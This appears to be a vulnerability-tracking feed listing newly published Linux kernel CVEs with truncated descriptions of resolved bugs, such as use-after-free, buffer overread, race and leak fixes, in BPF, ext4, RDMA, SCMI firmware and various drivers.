CVE-2026-92485	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Fix WARNING in bpf_tracing_link_release The trampoline could be corrupted by the blindly 'tr->flags = BPF_TRAMP_F_TAIL_CALL_CTX' in verifier. 1. A fexit attached to a tail_call_reachable prog. 'tr->flags' became 'BPF_TRAMP_F_CALL_ORIG BPF_TRAMP_F_TAIL_CALL_CTX'. And, the trampoline would poke...
CVE-2026-92486	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Fix CFI mismatch in task work callback BPF subprograms use the bpf_callback_t ABI, but task work invokes the callback through a three-argument function pointer. This trips kCFI. Store and invoke the callback as bpf_callback_t.
CVE-2026-92487	New						In the Linux kernel, the following vulnerability has been resolved: exfat: fix valid_size extension over a shared writable mapping When a shared writable mapping has its valid_size extended by a buffered write or a page fault, exfat zeroes the page-cache gap below the new valid_size. A store through the mapping can race with this zeroing and be overwritten. Fix this by ze...
CVE-2026-92488	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/erdma: complete object teardown when the destroy command fails erdma_destroy_qp(), erdma_destroy_cq(), erdma_dereg_mr(), and erdma_destroy_ah() returned early when erdma_post_cmd_wait() failed, leaking the queue buffers, MTTs, doorbells and the STAG, QPN, CQN and AHN identifiers. A command timeout cle...
CVE-2026-92489	New						In the Linux kernel, the following vulnerability has been resolved: xfrm: Fix skb double-free in xfrm_dev_direct_output() A return value other than 1 from local_out() means that the skb has been consumed or its ownership was transferred. xfrm_dev_direct_output() nevertheless frees the skb on this path, causing a double-free when netfilter drops the packet and invalidating ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92490	New						In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Unrequest devices if driver registration fails scmi_driver_register() requests protocol devices before registering the driver. If driver_register() fails, those requests remain in the global IDR and retain pointers to the module's ID table. Once the failed module load releases that stor...
CVE-2026-92491	New						In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Roll back partial protocol table registration scmi_protocol_table_register() can leave earlier requests registered when a later entry in the same ID table fails. Each request retains a pointer to the driver's ID table, so a failed module load can leave a dangling pointer after the modul...
CVE-2026-92492	New						In the Linux kernel, the following vulnerability has been resolved: cpufreq/amd-pstate: handle missing policy in dynamic EPP callbacks cpufreq_cpu_get() returns NULL when no cpufreq policy is associated with the requested CPU, for example because the CPU is offline or the policy has already been torn down. Both amd_pstate_power_supply_notifier() and amd_pstate_profile_set...
CVE-2026-92493	New						In the Linux kernel, the following vulnerability has been resolved: cpufreq: amd-pstate-ut: Skip tests when amd-pstate driver is not active The crash issue may occur when modprobe amd_pstate_ut on intel platform. amd_pstate_ut: 1 amd_pstate_ut_acpi_cpc_valid success! amd_pstate_ut: 2 amd_pstate_ut_check_enabled success! BUG: kernel NULL pointer dereferen...
CVE-2026-92494	New						In the Linux kernel, the following vulnerability has been resolved: ext4: fix buffer_head leak in ext4_init_orphan_info ext4_init_orphan_info() reads orphan file blocks with ext4_bread() and stores the returned buffer_head in oi->of_binfo[i].ob_bh. If ext4_bread() succeeds but the orphan block magic or checksum validation fails, the function jumps to out_free. However, th...
CVE-2026-92495	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/bnxt_re: Clear VM_MAYWRITE on DBR/toggle page mmap bnxt_re_mmap() rejects VM_WRITE for the DBR_PAGE and TOGGLE_PAGE mmap flags, but a read-only mapping can still retain VM_MAYWRITE. nd later be upgraded with mprotect(PROT_WRITE). This can bypass the write check that only runs at mmap time. Clear VM_M...
CVE-2026-92496	New						In the Linux kernel, the following vulnerability has been resolved: wifi: ath11k: Avoid buffer overread in ath11k_wmi_tlv_op_rx() Currently, in ath11k_wmi_tlv_op_rx(), the firmware buffer is read without first verifying that the buffer has enough data to hold a header. This could result in a buffer overread. Add an upfront length check before dereferencing skb->data as a ...
CVE-2026-92497	New						In the Linux kernel, the following vulnerability has been resolved: wifi: ath12k: Avoid buffer overread in ath12k_wmi_op_rx() Currently, in ath12k_wmi_op_rx(), the firmware buffer is read without first verifying that the buffer has enough data to hold a header. This could result in a buffer overread. Update the logic to verify the buffer contains at least enough data to h...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92498	New						In the Linux kernel, the following vulnerability has been resolved: wifi: ath6kl: avoid buffer overreads in WMI event handlers The following WMI event handlers currently read from the event buffer without first verifying that the message was large enough to hold the expected event: ath6kl_wmi_scan_complete_rx() ath6kl_wmi_addba_req_event_rx() ath6kl_wmi_delba_req_event_rx(...
CVE-2026-92499	New						In the Linux kernel, the following vulnerability has been resolved: ext4: validate readdir offset before accessing dirent A corrupted directory can trigger the following KASAN report when ext4_readdir() resumes from an invalid position: BUG: KASAN: use-after-free in __ext4_check_dir_entry+0x5ef/0x820 Read of size 2 at addr ffff88810a646000 by task repro_linear/509 ...
CVE-2026-92500	New						In the Linux kernel, the following vulnerability has been resolved: ext4: use fsdata to track inline data write state and fix race Instead of checking the live inode state (ext4_has_inline_data(inode) and ext4_test_inode_state(inode, EXT4_STATE_MAY_INLINE_DATA)) in the write_end handlers, use the fsdata parameter of the address space operations to explicitly pass down the ...
CVE-2026-92501	New						In the Linux kernel, the following vulnerability has been resolved: ext4: drain in-flight DIO before buffered write fallback generic/746 started failing intermittently on ext3 (no-extent inodes). The test triggers 'Page cache invalidation failure on direct I/O' warnings and subsequent fsync returns -EIO. Adding a 50ms delay between ext4_buffered_write_iter() and filemap_wr...
CVE-2026-92502	New						In the Linux kernel, the following vulnerability has been resolved: ext4: clear stale xarray tags on folios skipped during writeback In data=journal mode, the writeback thread can hit the WARN_ON_ONCE(sb_rdonly(sb)) in ext4_journal_check_start() while the superblock is being remounted read-only during reboot: Workqueue: writeback wb_workfn (flush-253:0) RIP: 0010:ext4_jou...
CVE-2026-92503	New						In the Linux kernel, the following vulnerability has been resolved: ext4: fix ABBA deadlock in ext4_xattr_inode_cache_find() Syzbot/stress-ng reported an ABBA deadlock in ext4 when exercising concurrent xattr workloads (using the ea_inode mount/format option). The deadlock occurs between the running transaction and the eviction thread: - Task 1 (stress-ng): Holds a refere...
CVE-2026-92504	New						In the Linux kernel, the following vulnerability has been resolved: thermal: intel: int3400: clean up ODVP on probe failures evaluate_odvp() creates per-ODVP sysfs files before the thermal zone and later probe resources are registered. The current unwind path only calls cleanup_odvp() from the late sysfs failure path, so failures after evaluate_odvp() but before that label...
CVE-2026-92505	New						In the Linux kernel, the following vulnerability has been resolved: iommu/amd: Fix undefined behavior in devid_write debugfs function When for_each_pci_segment() loop completes without finding a matching segment, the pci_seg pointer is not NULL but points to an invalid memory location (the list head). Accessing pci_seg->id after the loop causes undefined behavior. Fix thi...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92506	New						In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Fix requested device removal race scmi_protocol_device_unrequest() drops scmi_requested_devices_mtx while notifying listeners but continues to retain the per-protocol list head. When two SCMI drivers for the same protocol unregister concurrently, one thread can remove the final request ...
CVE-2026-92507	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/core: Fix potential use after free in ib_dealloc_pd_user() When accessing a PD via the netlink path the only synchronization mechanism for the said PD is rdma_restrack_get(). Currently, rdma_restrack_del() is invoked at the end of ib_dealloc_pd_user(), which is too late, since by that point vendor-spe...
CVE-2026-92508	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/core: Fix potential use after free in ib_free_cq() When accessing a CQ via the netlink path the only synchronization mechanism for the said CQ is rdma_restrack_get(). Currently, rdma_restrack_del() is invoked at the end of ib_free_cq(), which is too late, since by that point vendor-specific resources ...
CVE-2026-92509	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/core: Fix potential use after free in counter_release() When accessing a counter via the netlink path the only synchronization mechanism for the said counter is rdma_restrack_get(). Currently, rdma_restrack_del() is invoked at the end of counter_release(), which is too late, since by that point vendor...
CVE-2026-92510	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/core: Fix potential use after free in ib_destroy_srq_user() When accessing a SRQ via the netlink path the only synchronization mechanism for the said SRQ is rdma_restrack_get(). Currently, rdma_restrack_del() is invoked at the end of ib_destroy_srq_user(), which is too late, since by that point vendor...
CVE-2026-92511	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/core: Fix potential use after free in ib_destroy_cq_user() When accessing a CQ via the netlink path the only synchronization mechanism for the said CQ is rdma_restrack_get(). Currently, rdma_restrack_del() is invoked at the end of ib_destroy_cq_user(), which is too late, since by that point vendor-spe...
CVE-2026-92512	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/core: Fix use after free in ib_query_qp() When querying a QP via the netlink flow the only synchronization mechanism for the said QP is rdma_restrack_get(), meanwhile during the QP destroy path rdma_restrack_del() is called at the end of the ib_destroy_qp_user() function which is too late, since by th...
CVE-2026-92513	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/mana_ib: drain QP references after partial table insertion mana_table_store_ud_qp() publishes a QP at its send-queue id before inserting the receive-queue id, dropping the XArray lock between the two xa_insert_irq() calls. A concurrent completion handler can look up the QP and take a transient referen...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92514	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/erdma: Fix CEQ tasklet use-after-free on removal Each CEQ interrupt handler only schedules eqc->tasklet. The tasklet calls erdma_ceq_completion_handler(), which reads the DMA-coherent EQ ring through get_next_valid_eqe() and updates eq->dbrec through notify_eq(). erdma_ceqs_uninit() frees each CEQ IR...
CVE-2026-92515	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Preserve unique-field state across nested structs btf_find_struct_field() initializes a fresh seen mask for every recursive descent. Unique special fields in different levels of the same aggregate therefore do not see one another. The duplicate fields can reach btf_parse_fields(), where they trigger a...
CVE-2026-92516	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Fix offset warn check for bpf_res_spin_lock Sashiko pointed out correctly that the case statement for BPF_RES_SPIN_LOCK incorrectly checks offset for BPF_SPIN_LOCK. Fix it by checking res_spin_lock_off instead.
CVE-2026-92517	New						In the Linux kernel, the following vulnerability has been resolved: bpf, riscv: Fix extable handling for arena load_acquire emit_atomic_ld_st() returns 1 to have build_body() skip the next after a sub-word load_acquire. The caller does "ret = ret ? : add_exception_handler(...)", which skips add_exception_handler() on any non-zero ret, so the extable entry is missing and a f...
CVE-2026-92518	New						In the Linux kernel, the following vulnerability has been resolved: riscv, bpf: Fix kernel stack corruption in tailcall with CFI When CONFIG_CFI_CLANG is enabled, prog->bpf_func already skips the kcfi instruction during setup. Including it again in the tailcall jump offset causes it to jump over an extra 4 bytes, skipping the stack pointer adjustment, which will result in ...
CVE-2026-92519	New						In the Linux kernel, the following vulnerability has been resolved: riscv, bpf: Fix memory leak in bpf_jit_free When bpf_int_jit_compile() is called for subprograms, it returns early during the first pass (!prog->is_func extra_pass is false), keeping ctx->offset alive for the subsequent extra pass. If JIT compilation fails for a later subprogram, the BPF core aborts an...
CVE-2026-92520	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Zero queue and stack outputs on lock failure Queue and stack pop/peek helpers accept an uninitialized output buffer because the verifier expects the helper to initialize it. The empty-map error path clears the buffer, but a failed lock acquisition returns -EBUSY without writing it. Clear the output b...
CVE-2026-92521	New						In the Linux kernel, the following vulnerability has been resolved: ACPI: PCI: Clear driver_data on all paths that free the acpi_pci_root acpi_pci_root_add() assigns the freshly allocated root to device->driver_data before dmar_device_add() and pci_acpi_scan_root(). Both failure paths reach the end: label where root is kfree()'d, but only the pci_acpi_scan_root() path clea...
CVE-2026-92522	New						In the Linux kernel, the following vulnerability has been resolved: ACPI: processor: validate MADT IOAPIC entry bounds The IOAPIC hotplug lookup parses both MADT and _MAT records directly. The MADT walk previously used a subtable's declared length to advance the cursor after only locating a generic header. The _MAT path likewise passed a generic header to the IOAPIC helpe...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-92523	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/nldev: validate dynamic counter attribute length RDMA_NLDEV_ATTR_STAT_HWCOUNTERS is a nested attribute whose children are consumed directly with nla_get_u32(). The top-level policy validates only the container, so it does not establish the fixed shape of each child. Require every child payload to be ...
CVE-2026-92524	New						In the Linux kernel, the following vulnerability has been resolved: irqchip/gic-v3-its: Prevent leak in its_vpe_irq_domain_alloc() When its_irq_gic_domain_alloc() fails, the following its_vpe_irq_domain_free() fails to invoke its_vpe_teardown() for the corresponding interrupt, which leaks the resource. Invoke its_vpe_teardown() in the error handling path to avoid the leak...
CVE-2026-92525	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/rxe: Validate num_sge/cur_sge before indexing wqe->dma.sge[] For a user QP, qp->sq.queue is a ring the application writes directly, so rxe_post_send() takes the is_user branch and only schedules send_task without validating the WQE. rxe_requester() consumes it in place via req_next_wqe() and calls cop...
CVE-2026-93037	New						In the Linux kernel, the following vulnerability has been resolved: RDMA/hfi1: Propagate sdma_txinit_ahg() errors set_txreq_header_ahg() ignores the return value of sdma_txinit_ahg(). If sdma_txinit_ahg() fails, it returns before initializing tx->txreq. However, set_txreq_header_ahg() ignores the error and returns the AHG change count, causing the caller to continue proce...
CVE-2026-93038	New						In the Linux kernel, the following vulnerability has been resolved: iio: dac: ad5686: missing NULL check on match data Verify that chip_info pointer is not NULL. If a user binds the driver using driver_override via sysfs with a device name not present in the id_table or of_match_table, match data will be NULL.
CVE-2026-93039	New						In the Linux kernel, the following vulnerability has been resolved: ASoC: meson: Keep link pointers valid on realloc failure meson_card_reallocate_links() grows the DAI link and private data arrays with two consecutive krealloc() calls and updates the owner pointers only after both calls have succeeded. A successful krealloc() may move the data: it frees the old block and...
CVE-2026-93040	New						In the Linux kernel, the following vulnerability has been resolved: dmaengine: dw-edma: Serialize channel state checks pause() and resume() read and update channel state without holding vc.lock, while the interrupt handlers update the same state under it. Take the same lock around those state checks so that request, status, and configured stay consistent. For example, pau...
CVE-2026-93041	New						In the Linux kernel, the following vulnerability has been resolved: dmaengine: dw-edma: Serialize abort state updates dw_edma_abort_interrupt() drops vc.lock before changing request and status. issue_pending() can acquire the lock in that small window, observe the old busy state, and skip starting queued descriptors. Then the abort handler overwrites the channel status as ...
CVE-2026-93042	New						In the Linux kernel, the following vulnerability has been resolved: dmaengine: dw-edma: Terminate all descriptors without callbacks The DMA Engine client documentation says in the "Terminate APIs" section of Documentation/driver-api/dmaengine/client.rst: "No callback functions will be called for any incomplete transfers." dw-edma instead calls vchan_cookie_complete() whe...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93043	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Disallow interpreter fallback for gotox insn The interpreter does not recognize the BPF_JMP BPF_JA BPF_X insn, which is used for insn_array map. Thereafter, it would hit the BUG_ON() in __bpf_prog_run() at run time. [2.563726] BPF interpreter: unknown opcode 0d (imm: 0x0) [2.564557] -----...
CVE-2026-93044	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Disallow interpreter fallback for arena-related insns Since the interpreter does not support the arena-related insns, interpreter fallback should not be allowed for these insns in core.c::__bpf_prog_select_runtime(). Currently, when the interpreter executes the arena ST/LDX/STX insns, it would hit th...
CVE-2026-93045	New						In the Linux kernel, the following vulnerability has been resolved: bpf: Reject arena frees below the arena base bpf_arena_free_pages() accepts scalar arena addresses. The runtime masks the address to the low 32 bits and reconstructs a full user address from the arena base before returning the range to the arena free tree. When the scalar value is below the low 32 bits of...
CVE-2026-93046	New						In the Linux kernel, the following vulnerability has been resolved: software node: Fix software_node_get_reference_args() with index -1 The bounds check for the index passed to software_node_get_reference_args() was failing when passed UINT_MAX, this in turn would lead to an out of bound access in the property array. Fix the bound check to also cover the UINT_MAX case.
CVE-2026-93047	New						In the Linux kernel, the following vulnerability has been resolved: drm/v3d: Associate BOs with every job that accesses them A submission can expand into a chain of jobs (e.g. bin + render + cache clean). Implicit synchronization in v3d_submit_lock_reservations() is gated on each job's bo[], but the BO list was only ever attached to the last job of the chain. When that las...
CVE-2026-93048	New						In the Linux kernel, the following vulnerability has been resolved: mtd: part: reject MTDPART_OFS_RETAIN in mtd_add_partition() mtd_add_partition() does not reject the special offset value MTDPART_OFS_RETAIN (-3), which leads to a WARN_ON in add_mtd_device() when called through the BLKPG ioctl on NAND devices. The RETAIN value depends on cur_offset being the end of the pre...
CVE-2026-93049	New						In the Linux kernel, the following vulnerability has been resolved: mtd: mtdswap: Avoid freeing registered blktrans device twice In mtdswap_add_mtd(), debugfs setup failure after successful blktrans registration can free mbd_dev twice. add_mtd_blktrans_dev() initializes the blktrans device reference and publishes the disk. Once that succeeds, del_mtd_blktrans_dev() tears ...
CVE-2026-93050	New						In the Linux kernel, the following vulnerability has been resolved: ipack: ipoctal: fix UAF, null-ptr-deref, and use-after-free in cleanup on remove Three issues arise when the device is removed while a tty session is still active: 1. UAF of struct ipoctal: the remove callback frees ipoctal via kfree() while tty ops may still access it. Fix by introducing kref-base...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93051	New						In the Linux kernel, the following vulnerability has been resolved: misc: ad525x_dpote: use driver core groups for sysfs files ad_dpote_probe() creates per-RDAC sysfs files manually and then optionally creates the command sysfs group. This leaves probe responsible for rolling back partial sysfs state and makes remove responsible for matching every file that probe created. M...
CVE-2026-93052	New						In the Linux kernel, the following vulnerability has been resolved: misc: bcm-vk: Use acquire/release for msgq_init bcm_vk_sync_msgq() fills the message queue information and then sets msgq_init. Readers call bcm_vk_drv_access_ok() before accessing the message queues and their cached queue information. atomic_set()/atomic_read() do not order those accesses. A reader c...
CVE-2026-93053	New						In the Linux kernel, the following vulnerability has been resolved: speakup: keyhelp: guard letter_offsets possible out-of-range indexing help_init() builds letter_offsets[] by using the first byte of each function name as an index via `(start & 31) - 1`. If function_names are overridden from sysfs (root) with a name starting outside [a-z], the index underflows or exceeds ...
CVE-2026-93054	New						In the Linux kernel, the following vulnerability has been resolved: uio: Fix stale info pointer in failed registration path After device_add(), the UIO device is visible to userspace and /dev/uioX can be opened. If a later setup step fails, __uio_register_device() unwinds the device but leaves idev->info pointing at the caller-owned struct uio_info. That is unsafe when an...
CVE-2026-93055	New						In the Linux kernel, the following vulnerability has been resolved: UDF symlink pathComponent header OOB read udf_symlink_filler() can enter udf_pc_to_char() with a partial pathComponent header. Validate that enough input remains for a complete pathComponent header before accessing it. Reject malformed symlink data that would otherwise make udf_pc_to_char() perform an out...
CVE-2026-93056	New						In the Linux kernel, the following vulnerability has been resolved: usb: gadget: f_uac1_legacy: remove broken string configs attributes The UAC1_STR_ATTRIBUTE macro defines configs show/store handlers for the fn_play, fn_cap, and fn_cntl string options. The store function contains an inverted null check on the kstrndup() return value. This means every write attempt retu...
CVE-2026-93057	New						In the Linux kernel, the following vulnerability has been resolved: scsi: ufs: core: Avoid possible memory reclaim deadlock in TX EQTR context TX EQTR may run while devfreq gear scaling has quiesced the UFS tagset. In that context, functions ufshcd_tx_eqtr(), __ufshcd_tx_eqtr() and ufs_qcom_get_rx_fom() allocate memory with GFP_KERNEL. If direct reclaim is triggered, recla...
CVE-2026-93058	New						In the Linux kernel, the following vulnerability has been resolved: drm/msm: Only fini scheduler after successful init msm_ringbuffer_new() destroys a partially initialized ring through msm_ringbuffer_destroy() when an allocation or scheduler setup step fails. If drm_sched_init() fails before it finishes initializing the scheduler, the failure path still calls drm_sched_f...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93059	New						In the Linux kernel, the following vulnerability has been resolved: drm/msm: Fix task_struct reference leak in recover_worker get_pid_task() increments the task reference count, but the corresponding put_task_struct() was missing in the else branch, leaking a reference on every GPU hang recovery. Patchwork: https://patchwork.freedesktop.org/patch/730662/
CVE-2026-93060	New						In the Linux kernel, the following vulnerability has been resolved: drm/msm/adreno: fix use after free on error path in a6xx_gpu_init() The a6xx_destroy() function frees "a6xx_gpu" and so "adreno_gpu" points to freed memory. Preserve the error code before freeing the memory to avoid a use after free. Patchwork: https://patchwork.freedesktop.org/patch/732275/
CVE-2026-93061	New						In the Linux kernel, the following vulnerability has been resolved: gpu: host1x: Avoid stack over-read in debug output helpers host1x_debug_output() and host1x_debug_cont() used vsnprintf(), which returns the length the formatted string would have reached with an unbounded buffer. That return value was passed straight to o->fn as the number of bytes to emit. This could ca...
CVE-2026-93062	New						In the Linux kernel, the following vulnerability has been resolved: wifi: iwlmwifi: guard against division by zero in iwl_dbg_tlv_alloc_fragments Make sure we don't end-up with a num_frags = 0 situation. For that, check that the required size is not 0 and put a checker on num_frags as well.
CVE-2026-93063	New						In the Linux kernel, the following vulnerability has been resolved: wifi: iwlmwifi: mei: check SAP message length before reading it Verify the SAP message size is not larger than the local buffer before reading the message to avoid buffer overflow.
CVE-2026-93064	New						In the Linux kernel, the following vulnerability has been resolved: wifi: iwlmwifi: mvm: fix off-by-one in TXF key sanitiser iwl_mvm_frob_txf_key_iter() tracks the last matched byte position in loop variable 'i'. When a full key match is found (match == keylen), 'i' points at the last byte of the matched key. The memset start offset should therefore be i + 1 - keylen, not i...
CVE-2026-93065	New						In the Linux kernel, the following vulnerability has been resolved: wifi: iwlmwifi: fix counter type in iwl_fwrt_dump_error_logs The loop counter 'count' was declared as u8 while num_pc is u32. If firmware advertises more than 255 PC entries the counter wraps back to zero and the loop never terminates potentially causing an infinite loop or reading past the allocated pc_dat...
CVE-2026-93066	New						In the Linux kernel, the following vulnerability has been resolved: x86/mm/pat: Take cpa_lock around large-page collapse Loading and unloading modules concurrently on several CPUs on a KASAN build, with a short delay injected at the CPA page-table lookup to widen the window, faults within minutes: BUG: KASAN: use-after-free in __change_page_attr+0x7cc/0x7e0 Write of s...
CVE-2026-93067	New						In the Linux kernel, the following vulnerability has been resolved: drm/bridge: tc358767: clamp the reported AUX read size to the request tc_aux_transfer() clamps an AUX read to the payload limit: size_t size = min_t(size_t, DP_AUX_MAX_PAYLOAD_BYTES - 1, msg->size); After the transfer it replaces size with the byte count the controller reports in AUX_BYTES: if (size) ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93068	New						In the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Fix DM I2C teardown race DM I2C adapters can remain visible to userspace while DM teardown is already in progress. A concurrent i2c-dev transfer may then enter amdgpu_dm_i2c_xfer() after the backing DM state has been torn down, leading to a NULL pointer dereference. Create a devres group ...
CVE-2026-93069	New						In the Linux kernel, the following vulnerability has been resolved: OPP: Fix cleanup ordering Commit 173e02d67494 ("OPP: Initialize scope-based pointers inline") added initialization for all pointers. In some cases, the ordering was changed so that *opp_table was initialized after *opp. This also changes the order of the registered cleanup functions. When the cleanup happ...
CVE-2026-93070	New						In the Linux kernel, the following vulnerability has been resolved: media: ipu6: Do not free aux device pdata after init ipu6_bus_initialize_device() stores the isys/psys pdata pointer in struct ipu6_bus_device and initializes the auxiliary device. After that point, error unwinding must drop the auxiliary device reference and let ipu6_bus_release() free both the bus device...
CVE-2026-93071	New						In the Linux kernel, the following vulnerability has been resolved: media: bcm2835-unicam: Fix asc leaked in error/remove path v4l2_async_nf_add_fwnode_remote() allocates the asc, which is freed when v4l2_async_nf_cleanup() is called. Call v4l2_async_nf_cleanup() properly in the driver paths. Discovered with kmemleak after rmmmod: unreferenced object 0xffff000084526b80 (...)
CVE-2026-93072	New						In the Linux kernel, the following vulnerability has been resolved: irqchip/renesas-irqc: Fix generic interrupt chip leak on remove The driver allocates domain generic chips probe. However, on driver removal, the generic chips are not automatically freed when the interrupt domain is removed because the domain flags do not include IRQ_DOMAIN_FLAG_DESTROY_GC. This causes bo...
CVE-2026-93073	New						In the Linux kernel, the following vulnerability has been resolved: dax: read holder_ops once in dax_holder_notify_failure() dax_holder_notify_failure() reads dax_dev->holder_ops twice without READ_ONCE() -- once for the NULL check and once for the indirect notify_failure() call. A concurrent fs_put_dax() can clear holder_ops between the two reads, so the check can observe...
CVE-2026-93074	New						In the Linux kernel, the following vulnerability has been resolved: dax/fsdev: use __va(phys) for kaddr in direct_access Use __va(phys) instead of virt_addr + linear_offset for the kaddr return in __fsdev_dax_direct_access(). The previous code added a device-linear byte offset to virt_addr (which is __va of ranges[0]), but for multi-range devices with physical gaps between...
CVE-2026-93075	New						In the Linux kernel, the following vulnerability has been resolved: dax/fsdev: clear pgmap ops and owner on unbind fsdev_dax_probe() sets pgmap->ops = &fsdev_pagemap_ops and pgmap->owner = dev_dax, but nothing ever clears them. For a dynamic device the pgmap is devm-allocated and freed on unbind, so this is harmless. For a static device the pgmap is the shared, long-lived ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93076	New						In the Linux kernel, the following vulnerability has been resolved: dax/fsdev: clear vmemmap_shift when binding static pgmap Clear pgmap->vmemmap_shift for static DAX devices. When rebinding a static device from device_dax (which may set vmemmap_shift based on alignment) to fsdev_dax, the stale vmemmap_shift persists on the shared pgmap. Explicitly zero it before devm_memr...
CVE-2026-93077	New						In the Linux kernel, the following vulnerability has been resolved: cxl/features: Clamp Get Feature output size to the remaining buffer cxl_get_feature() reads a feature in a loop but passes a fixed size_out as the output capacity every iteration. On the last partial iteration the buffer has less room left, so a device that returns more than asked can overflow feat_out. U...
CVE-2026-93078	New						In the Linux kernel, the following vulnerability has been resolved: cxl/features: Reject Set Features output buffer smaller than the header cxlctl_set_feature() sizes its output buffer from the user's fwctl_rpc.out_len but never checks it is large enough to hold even the fwctl_rpc_cxl_out header. With out_len == 0 , kzalloc() returns ZERO_SIZE_PTR, which passes the !rpc_o...
CVE-2026-93079	New						In the Linux kernel, the following vulnerability has been resolved: cxl/features: Reject Get Feature count larger than the output buffer cxlctl_get_feature() sizes its output buffer from the user's fwctl_rpc.out_len, but the device is told to write cxl_mbox_get_feat_in.count bytes into rpc_out->payload, which is a separate user-controlled value. Nothing bounds count agains...
CVE-2026-93080	New						In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Fix transport device teardown lookup SCMI transport devices are deliberately excluded from normal SCMI bus matching so protocol drivers cannot bind to the internal transport children. However, scmi_device_destroy() uses the same protocol/name lookup to find devices that must be unregist...
CVE-2026-93081	New						In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Fix SCMI device destroy lifetimes scmi_child_dev_find() drops the reference returned by device_find_child() before returning the scmi_device pointer. A concurrent unregister can then release the device while the destroy path is still using the returned pointer. Make the lookup helper r...
CVE-2026-93082	New						In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Unwind P2A receiver mailbox setup failure mailbox_chan_setup() can request an additional P2A receiver channel after successfully acquiring the primary P2A channel. If that later request fails, the function returns immediately and leaves the primary channel allocated. Unwind the primary...
CVE-2026-93083	New						In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Unwind TX receiver mailbox setup failure mailbox_chan_setup() can request an additional unidirectional TX receiver channel after successfully acquiring the primary channel. If that second request fails, the function returns immediately and leaves the primary channel allocated. Unwind t...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93084	New						In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Drop handle on protocol bind failures The SCMI bus notifier acquires an SCMI handle when the driver core emits BUS_NOTIFY_BIND_DRIVER, before invoking the protocol driver probe callback. The protocol probe path only checks whether sdev->handle is set. If device_link_add() fails after t...
CVE-2026-93085	New						In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Reject out of range DT protocol IDs SCMI protocol IDs carried in message headers are limited by MSG_PROTOCOL_ID_MASK. The DT parsing paths noticed protocol IDs outside that range, but only logged an error and then kept processing the invalid value. That lets a malformed 32-bit DT reg v...
CVE-2026-93086	New						In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Avoid IDR updates while cleaning channels scmi_cleanup_channels() walks the TX/RX channel IDRs with idr_for_each() to free transport resources and destroy the dedicated transport devices before calling idr_destroy(). The destroy callback removed each entry from the same IDR being walke...
CVE-2026-93089	New						In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Free transport channel on IDR failure If transport channel setup succeeds but the following IDR insertion fails, the error path destroys the transport device and frees the channel info without invoking the transport cleanup callback. Call chan_free() before destroying the device so tra...
CVE-2026-93090	New						In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Clean up channels on setup failure scmi_channels_setup() can fail after the common BASE channel or earlier protocol channels have already been registered in the TX/RX IDRs. Route this failure through the existing channel cleanup label so the transport channels, transport devices and ID...
CVE-2026-93091	New						In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Quiesce notifications before teardown scmi_notification_exit() clears and releases the notification instance, but transport callbacks can still deliver incoming notifications until the TX/RX channels are freed. During remove, an RX interrupt in that window can enter scmi_notify() while ...
CVE-2026-93092	New						In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Unregister device notifier before IDR teardown The requested-devices notifier looks up protocol fwnodes from the active_protocols IDR. During remove, unregister the notifier before releasing and destroying active_protocols so no notifier callback can race with the IDR teardown. Keep th...
CVE-2026-93093	New						In the Linux kernel, the following vulnerability has been resolved: firmware: arm_scmi: Publish channel state before callbacks Transport setup can enable callbacks before the setup routine returns. mailbox_chan_setup() registers the mailbox client with mbox_request_channel(), and the mailbox controller startup path can enable interrupt delivery before SCMI mailbox channel ...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
